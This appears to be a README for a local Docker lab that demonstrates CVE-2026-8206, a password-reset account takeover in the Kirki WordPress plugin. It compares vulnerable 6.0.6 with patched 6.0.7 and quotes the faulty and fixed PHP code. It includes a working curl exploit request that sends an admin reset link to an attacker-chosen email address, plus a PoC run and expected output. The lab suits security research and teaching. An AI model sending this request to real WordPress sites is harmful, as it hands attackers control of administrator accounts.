
Local Docker lab demonstrating CVE-2026-8206 unauthenticated account takeover in Kirki WordPress plugin. Compares vulnerable 6.0.6 vs patched 6.0.7 with PoC script and captured mail verification.
Local Docker lab for demonstrating CVE-2026-8206 in the Kirki WordPress plugin.
This repository compares the real Kirki plugin releases:
vuln: Kirki 6.0.6patched: Kirki 6.0.7The lab is local-only and binds WordPress services to 127.0.0.1.
The PoC is least-harm: it requests a password reset and verifies the captured email recipient inside the lab. It does not change any password.
CVE-2026-8206 is an unauthenticated account takeover / privilege escalation vulnerability in Kirki versions 6.0.0 through 6.0.6.
The vulnerable password reset handler creates a reset key for a real WordPress user selected by username, but sends the reset email to an arbitrary email address supplied in the request.
In this lab:
vulnerable => reset link for admin is sent to [email protected]
patched => mismatched email is rejected and no reset email is sent to [email protected]
6.0.0 to 6.0.66.0.7/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password
The vulnerable handler is:
wp-content/plugins/kirki/ComponentLibrary/controller/CompLibFormHandler.php
Kirki reads the attacker-supplied email from the request body:
$email = isset( $form_data['email'] ) ? sanitize_email( $form_data['email'] ) : '';
It then resolves the target WordPress user by username and creates a password reset key for that user:
$key = get_password_reset_key( $user );
But the final reset email is sent to the request-supplied $email:
$sent = wp_mail( $email, $email_subject, $email_body, $headers );
This breaks the trust boundary between the account identity and the reset-email recipient. An unauthenticated requester can provide:
username=admin
[email protected]
The reset key belongs to admin, but the email is delivered to the attacker-controlled address.
Kirki 6.0.7 validates that the supplied email matches the resolved user's registered email, then forces the recipient to the account email before sending:
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
// reject request
}
$email = $user_email;
$sent = wp_mail( $email, $email_subject, $email_body, $headers );
| Service | Purpose | Host URL |
|---|---|---|
vuln | WordPress + Kirki 6.0.6 | http://127.0.0.1:8081 |
patched | WordPress + Kirki 6.0.7 | http://127.0.0.1:8082 |
db_vuln | MySQL for vulnerable WordPress | Docker network only |
db_patched | MySQL for patched WordPress | Docker network only |
wpcli_vuln | Seeds vulnerable WordPress | one-shot setup |
wpcli_patched | Seeds patched WordPress | one-shot setup |
Local mail is captured to files instead of being sent externally:
artifacts/vuln-mail/
artifacts/patched-mail/
The lab uses real Kirki plugin versions installed with WP-CLI. The plugin source is not modified.
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── docker/
│ ├── capture-mail
│ └── mail-capture.ini
├── scripts/
│ └── setup-wordpress.sh
├── poc/
│ ├── poc_local.py
│ └── run_lab_poc.sh
├── docs/
│ └── notes.md
├── SAFETY.md
├── README.md
└── .gitignore
requests packageInstall Python dependency if needed:
python3 -m pip install requests
Start the containers:
docker compose up -d --build
Seed both WordPress instances:
docker compose run --rm wpcli_vuln
docker compose run --rm wpcli_patched
Run the PoC:
chmod +x poc/run_lab_poc.sh
./poc/run_lab_poc.sh
Expected result:
[+] request: http=200 body='{"message":"Email sent"}'
[+] mail_state=MAIL_TO_ATTACKER_WITH_RESET_LINK: reset link sent to attacker-controlled email
[+] verdict=VULNERABLE_BEHAVIOR_CONFIRMED
To: [email protected]
Subject: CVE-2026-8206 local lab proof
This proves that the vulnerable version sent a password reset email for the target account to the attacker-controlled address.
Expected result:
[+] request: http=404 body='{"message":"Invalid email address"}'
[+] mail_file=none
[+] mail_state=NO_MAIL: no captured reset email
[+] verdict=PATCHED_BEHAVIOR_CONFIRMED_NO_RESET_MAIL_TO_ATTACKER
This proves that the patched version rejects the username/email mismatch and does not send the reset email to the attacker-controlled address.
Create the correct Kirki element nonce inside the vulnerable lab:
NONCE="$(docker compose run --rm --entrypoint wp wpcli_vuln eval 'echo wp_create_nonce(KIRKI_COMPONENT_LIBRARY_APP_PREFIX . "_kirki-forgot-password");' | tail -n 1)"
Send a local-only request to the vulnerable service:
curl -i -s -X POST "http://127.0.0.1:8081/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password" \
-H "X-WP-Element-Nonce: $NONCE" \
-d "username=admin" \
-d "[email protected]" \
--data-urlencode "emailSubject=CVE-2026-8206 local lab proof" \
--data-urlencode 'emailBody=[{"type":"text","value":"Local lab reset link: "},{"type":"chip","value":"reset_link"}]'
Check captured mail:
grep -R "^To:\|action=rp\|login=admin" artifacts/vuln-mail/
Expected vulnerable evidence:
To: [email protected]
... action=rp ... login=admin ...
This lab is intended for local security research and portfolio demonstration only.
Guardrails:
127.0.0.1 only.docker compose down -v --remove-orphans
rm -rf artifacts/vuln-mail artifacts/patched-mail